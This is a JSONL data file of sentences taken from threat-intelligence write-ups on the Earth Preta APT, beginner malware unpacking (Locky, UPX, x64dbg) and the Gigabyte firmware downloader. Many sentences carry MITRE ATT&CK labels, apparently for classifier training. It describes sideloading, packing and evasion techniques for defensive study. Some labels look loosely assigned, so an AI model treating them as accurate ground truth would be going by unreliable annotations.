{"sentence": "This leads to the opening of an Internet Explorer window with the file download prompt.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This sample can then be used for hunting this campaign.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The dropped files of Letter Head.docx on VirusTotal To find additional password-protected archives and documents embedded with a Google Drive link, we tried to use the following query:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 46.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Connecting the Dots During our investigation, we observed some data points that connect to the same personnel.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In addition, the GitHub repository named “YanNaingOo0072022,” mentioned in Avast’s December 2022 report,hosted multiple pieces of malware, including TONESHELL.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We also observed that the obfuscation methods have similarities among the different malwares.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 48.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Windows users in 38[.]54[.]33[.]228 While hunting samples related to this campaign, we came across a tweet about Cobalt Strike posted in April 2021.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "At first glance, Cobalt Strike was used in a manner similar to this campaign, including the use of DLL sideloading, the use of a Google Drive link for delivery, and the creation of a schedule task.", "labels": ["T1053.005", "T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A tweet about Cobalt Strike The infection flow is as follows: The archive file is delivered through a Google Drive link, which contains a legitimate EXE file, a malicious DLL file, and a decoy document written in Burmese.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Once the malicious DLL is sideloaded, it will drop the legitimate EXE file and the malicious DLL file, which are embedded in the resource section of the DLL file.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In this sample, the string By:Taozongjie is being used as the event name.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Special string in the sample In one TONEINS sample (SHA256: 7436f75911561434153d899100916d3888500b1737ca6036e41e0f65a8a68707), we also observed the string taozongjie, which was being used for an event name.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Create event taozongjie in TONEINS In another TONESHELL sample (SHA256: d950d7d9402dcf014d6e77d30ddd81f994b70f7b0c6931ff1e705abe122a481a), there are some insignificant export functions, which will appear via message boxes, with the strings Tao or zhang!.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Even though the names of these two strings are not spelled exactly same way as taozongjie, their spellings are still similar.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "GitHub user “YanNaingOo0072022” The GitHub user “YanNaingOo0072022” was mentioned in both an Avast and an ESET report.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The user’s repositories host various malware, including the latest versions of TONEINS, TONESHELL, and a new tool, QMAGENT, which is ESET named MQsTTang”.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Among these, “View2015” and “View2016” were empty.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The archive files in this repository are all the same but have different file names.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We believe that these files were meant for different victims.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The 1226 repository Upon unarchiving the compressed file, we found two files with the fake extension “.doc” containing one-byte XOR encrypted sections.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Both share the same file structure (a PE payload hidden in a DOCX file) as the one we referred to in the arrival vectors section.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "These files ended up being the TONEINS and TONESHELL malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 56.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The files inside the archive 14 The file Documents members of delegation diplomatic from Germany.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Exe, found in the Documents.rar archive, is a novel malware that communicates over the MQTT protocol.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In March 2023, ESET published a detailed technical report on this backdoor, which it named “MQsTTang.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This backdoor is unique because it communicates to its C&C servers over the MQTT protocol, which is commonly used in internet-of-things (IoT) devices.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The ee repository Conclusion Over the past year, security researchers have been discovering and analyzing Earth Preta’s campaigns and toolsets.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We were able to attribute some of these to Earth Preta based on similarities among the TTPs, the malware being used, and the timeline of the campaigns.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Instead of attaching malicious archives or Google Drive links to an email, they now embed the download link in another decoy document and add a password to the archive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Based on our observations, Earth Preta tends to hide malicious payloads in fake files, disguising them as legitimate ones — a technique that has been proven effective for avoiding detection.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Meanwhile, they developed customized toolsets designed to collect confidential documents in the exfiltration stage.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Overall, we believe that Earth Preta is a capable and organized threat actor that is continuously honing its TTPs, strengthening its development capabilities, and building a versatile arsenal of tools and malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To help prevent potential threats such as the one posed by advanced persistent threat (APT) groups, we suggest that organizations conduct phishing awareness training for their employees and partners to stress the importance of caution when opening emails, particularly those messages from unfamiliar senders or with unknown subjects.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To assist organizations in protecting themselves against sophisticated threats, we recommend adopting a comprehensive security strategy that employs advanced technologies capable of identifying and halting such threats across multiple channels, including endpoints, servers, networks, and email communications.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "MITRE ATT&CK Tactic ID Name Resource Development T1583.004 Acquire Infrastructure: Server T1587.001 Develop Capabilities: Malware T1585.002 Establish Accounts: Email Accounts T1588.002 Obtain Capabilities: Tool T1608.001 Stage Capabilities:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Scheduled Task/Job: Scheduled Task Privilege Escalation T1068 Exploitation for Privilege Escalation T1134 Access Token Manipulation Defense Evasion T1140 Deobfuscate/Decode Files or Information T1036.005 Masquerading: Match Legitimate Name or Location Lateral Movement T1091 Replication Through Removable Media Command and Control T1071.001 Application Layer Protocol: Web Protocols T1573.001 Encrypted Channel:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Symmetric Cryptography T1104 Multi-Stage Channels T1095 Non-Application Layer Protocol Exfiltration T1048 Exfiltration Over Alternative Protocol Authors Vickie Su Threats Analyst Nick Dai Sr. Threat Researcher Sunny Lu Threats Analyst", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In part 1 of this series, we warmed up and aligned with basic computing terminologies.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "All of these tools and techniques are very important for reversing malware samples.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "As reverse engineers, we need to be familiar with them and be able to identify and understand them.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "This blog will cover key concepts and examples regarding how malware is packed, obfuscated, delivered, and executed on the endpoint.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Here’s what we’ll cover: Basic terms that explain how malware is delivered to endpoints.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "A deep dive on packers – what they are, how they work and how to identify packed samples.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Following the technical information, we will demonstrate two hands-on analyses of packed malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Basic Terminology for Reverse Engineers to Know An executable file can conceal its true code through either encryption or compression.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When the file is executed, some initial code usually called a stub, decrypts or decompresses the real code so it can be executed.", "labels": ["T1140"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "What’s a Packer? Packers are often used to compress the payload so it will take less space on disk.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "While packers can be used for legitimate purposes, malware developers utilize packers to make the malicious payload smaller and avoid detection based on static malware analysis techniques.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Examples: UPX is an open-source packing algorithm.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Andromeda is a custom packer that makes reverse-engineering more difficult.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "What’s a Crypter?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "To avoid detection by these tools, malware developers can use crypters.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "A crypter encrypts the payload, so it will be harder for signature-based and standard anti-viruses to detect the malicious payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Examples: PEUNION EXECryptor What’s a Protector?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "For most threat actors, one of the goals they want to achieve is to evade detection, and if the malware is detected then make the analysis process harder for researchers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "That’s where protectors come into the picture – they offer many features that can make static and dynamic analysis tedious and time-consuming.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Having said that, legitimate organizations can use protectors to protect their software from being cracked and manipulated.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Usually, protectors will encrypt the payload, remove and obfuscate imports, implement anti-debugging and anti-reversing techniques, and much more. Examples: Themida Enigma Protector VMProtect What’s a Loader?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Packed malware samples are compressed and stored inside the final executable, which will extract and execute the malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "On the other hand, there are loaders that serve as the first stage of the attack, the payload of the malware can be part of the loader’s file or it can be downloaded from a remote location (by the loader, also known as a Downloader).", "labels": ["T1027", "T1105"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Bazarloader delivers all sorts of threats, from spam to ransomware like Conti or Ryuk.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In many cases, malware is delivered by tools that implement some (or all) of the functionalities of packers, crypters, protects, and loaders –- all to make the analysis harder.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Deep Dive Into How Packers Work and Detection", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Now let’s focus on packers, how they work, how to identify packed files, and how to extract the packed payload that can contain malicious code.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "How do packers work?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The packed file contains three main components: packed content, a new PE header, and a stub, as seen in the image below: Packed sample view.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The stub is a small part of code that implements the decompression (and decryption) of the originally packed file.", "labels": ["T1140"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "A new PE header is prepended to the packed file or modifies the existing header so it will be a valid executable.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Static detection When data is being compressed or encrypted, the output is not structured and resembles more random data, resulting in high entropy.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In information theory, entropy is a measure of disorder/randomness.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The calculation is done using logarithm with base 2, also known as Shannon entropy, the result is in units of bits, hence the range of entropy level for binary files is 0 to 8.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can check the entropy of the file sections, and if one of them has a value of 7 or higher, there is a high probability that the file is packed.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Packers may change the final payload’s section names, as seen in the screenshot below.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "But in most cases, malware authors will rename the sections to more commonly used names that will not give away the fact that the file is packed.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Multiple tools can be used to detect indicators of a sample being packed: PEstudio, DiE (Detect it Easy), CFF explorer, and more.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "There are many examples and tutorials that use these tools, so we will show another free tool that can be handy in this and later stages: radare2.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When a file has a low number of imports, it strongly indicates that it contains another component that is dropped/loaded.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "However, malware developers can add “dummy” imports to mislead researchers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Viewing the imports for a packed file; full analysis results here.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Reverse Engineering Example: Static Unpacking of UPX Packed Samples", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Let’s take a look at a sample with MD5 5598febfbf00839c9f7047d9fe3205e3.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The section names of the files contain the UPX string, as seen in the screenshot below: We can use the UPX command line utility to extract the packed payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The command to decompress a packed file is as follows: upx -d <packed>", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "You can run the command on the sample and verify that the extracted file has MD5 6d13f5d287fd735a9bbc261aafb49006.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Let’s look at API calls and debuggers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "To make all of these actions, the program must use system calls because these actions require interaction with the kernel.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The memory is automatically initialized to zero.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "One of the arguments is dwSize – that’s the size in bytes.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "VirtualProtect changes the permissions of the given virtual address.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When malware wants to grant write or execute permissions flNewProtect argument will be set to PAGE_EXECUTE_READWRITE (0x40) or PAGE_EXECUTE_READ (0x20).", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "RtlDecompressBuffer decompresses the provided buffer.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "CreateProcessInternalW creates a new process.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In the context of malware execution, it can create a new threat with the malicious unpacked payload.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can look for these system calls in the list of imported functions.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "For instance, we will not see them in the imported function list, and they not even be part of the strings in the sample.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In this case, the function and the corresponding library are dynamically loaded at runtime – also known as explicit linking.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In this case, dynamic debugging can be very helpful – debuggers like x64dbg let you put a breakpoint on function calls, even if the function is not imported.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The breakpoint will be triggered if the system call is executed.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Debugger A debugger is a powerful tool that allows developers and researchers to follow and control the execution of a program.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When debugging an executable, you can view the registers, stack, and memory and see how each instruction affects the stored data.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Debugging malware can reveal code executed only in runtime (meaning that you will not see it in standard static analysis).", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Different debuggers can be used to debug Windows executables and DLLs: OllyDbg – not maintained anymore Windbg – powerful kernel-mode and user-mode debugger created by Microsoft.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "x64dbg – reliable and user-friendly.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The main difference between these debuggers is the implementation, which may result in certain behaviors, but for the most part, it’s up to you to choose which debugger you prefer.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "There are more tools for debugging (and analyzing) .NET", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "executables and other Windows executables, but that’s not covered in this blog.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Reverse Engineering Example:", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "CobaltStrike and Locky.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Make sure to run (and debug) the following examples in an isolated Windows virtual machine.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The video shows generation of a Cobalt Strike payload, analysis of the assembly, dynamic execution of the stager to fetch payload, scanning the endpoint for in memory genetic analysis, and parsing the Beacon configuration.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The analysis of the Locky ransomware is covered in the section below.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Reverse engineering tools that will be used in these analyses:", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Windows virtual machine x32 debugger Radare2 Command line commands: file, strings, shasum", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In this example, we will inspect a packed sample of Locky ransomware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We will use radare2.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "As seen in the screenshot below, the .rdata section has an entropy level higher than 7, and it’s very unusual for this section to have randomized data.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The output contains lots of strings that look like a random collection of characters.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Dynamic analysis We will use the API calls we covered in the previous section.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Put breakpoints on VirtualAlloc and VirtualProtect.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "bp VirtualAlloc bp VirtualProtect Now, let’s run the file.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "It will first stop at the entrypoint, we will hit F9 (continue until next breakpoint – BP), and we will get to the first call to VirtualAlloc.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "As seen in the screenshot below, the BP stopped on the call to VirtualAlloc, which is in the Kernel32.dll, and in the stack view (right low corner) we can see the arguments passed to the function.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can see that the required allocated space is relatively small, so it’s probably not called by the unpacking routine.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "So we will continue running the program – hit F9 again.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "It might take a few more hits on the call to VirtualAlloc before we get to a call with the size 0xF41D.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "At this point, we want to see where VirtualAlloc was called and what will be stored in the allocated spaces.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We will hit right-click and follow in the dump.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The memory is zeroed out", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "but if we follow the execution of the code (hitting F8 several times), we will see that the memory contains some values, but they look random.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Continue running the program until VirtualAlloc is called with the size: 0x17400 – which is even bigger than the previously allocated buffer.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Then again, hit “run to user code,” or “execute till return” and follow EAX in the dump and step through the use code until you see the allocated memory filled with data that looks like this: The dump contains the unpacked executable – we can identify it by the 0x4D5A (MZ) magic.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The MD5 of the extracted payload is e96dad009437ca774035ffd73708bd3e.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Locky ransomware malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Mazal tov!", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "You have successfully extracted the Locky payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Automating Unpacking for Every File Learning the foundations of reverse engineering is important if it is a skill that you are trying to develop in your career.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "But for many security teams, even at large companies, you may not have the time to manually unpack and reverse engineer files on a regular basis.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Since reverse engineering can be time intensive, you’ll want to only use manual methods for tasks like unpacking after you’ve exhausted your other tools and options.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Don’t have the time or skills for reverse engineering the volume of packed and obfuscated files your SOC team handles?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Intezer’s automated alert triage and response process collects files from your endpoint security solution (like CrowdStrike, Microsoft Defender, or SentinelOne) to identify packed files, extract the payload, and then respond autonomously or with the results Intezer provides for remediation.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "To see how Intezer handles reverse engineering tasks for every alert, book a demo here.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The post Malware Reverse Engineering for Beginners – Part 2 appeared first on Intezer.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Recently, the Eclypsium platform began detecting suspected backdoor-like behavior within Gigabyte systems in the wild.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Our follow-up analysis discovered that firmware in Gigabyte systems is dropping and executing a Windows native executable during the system startup process, and this executable then downloads and executes additional payloads insecurely.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "It uses the same techniques as other OEM backdoor-like features like Computrace backdoor (a.k.a. LoJack DoubleAgent) abused by threat actors and even firmware implants such as Sednit LoJax, MosaicRegressor, Vector-EDK.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Subsequent analysis showed that this same code is present in hundreds of models of Gigabyte PCs.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "We are working with Gigabyte to address this insecure implementation of their app center capability.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "In the interest of protecting organizations from malicious actors, we are also publicly disclosing this information and defensive strategies on a more accelerated timeline than a typical vulnerability disclosure.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "While our ongoing investigation has not confirmed exploitation by a specific threat actor, an active widespread backdoor that is difficult to remove poses a supply chain risk for organizations with Gigabyte systems.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "At a high level, the relevant attack vectors include: Compromise in the supply chain Compromise in the local environment Malware persistence via functionality of this firmware in systems A more detailed analysis of these risks is provided with suggested mitigations below.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "After a more traditional vulnerability disclosure timeline, we plan to publish details about how this works.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "This executable binary insecurely downloads and executes additional payloads from the Internet.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Look for additional findings on this blog and the Eclypsium Platform for your organization.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Stage 1:", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Firmware dropping OS executable An initial analysis of the affected UEFI firmware identified the following file: 8ccbee6f7858ac6b92ce23594c9e2563ebcef59414b5ac13ebebde0c715971b2.bin", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "This is a Windows Native Binary executable embedded inside of UEFI firmware binary in a UEFI firmware volume with the following GUID: AEB1671D-019C-4B3B-BA-00-35-A2-E6-28-04-36.", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "During the Driver Execution Environment (DXE) phase of the UEFI firmware boot process, the “WpbtDxe.efi” firmware module uses the above GUID to load the embedded Windows executable file into memory, installing it into a WPBT ACPI table which will later be loaded and executed by the Windows Session Manager Subsystem (smss.exe) upon Windows startup.", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "The “WpbtDxe.efi” module checks if the “APP Center Download & Install” feature has been enabled in the BIOS/UEFI Setup before installing the executable into the WPBT ACPI table.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Although this setting appears to be disabled by default, it was enabled on the system we examined.", "labels": ["T1106"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "This executable uses the Windows Native API to write the contents of an embedded executable to the file system at the following location:", "labels": ["T1027", "T1106"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
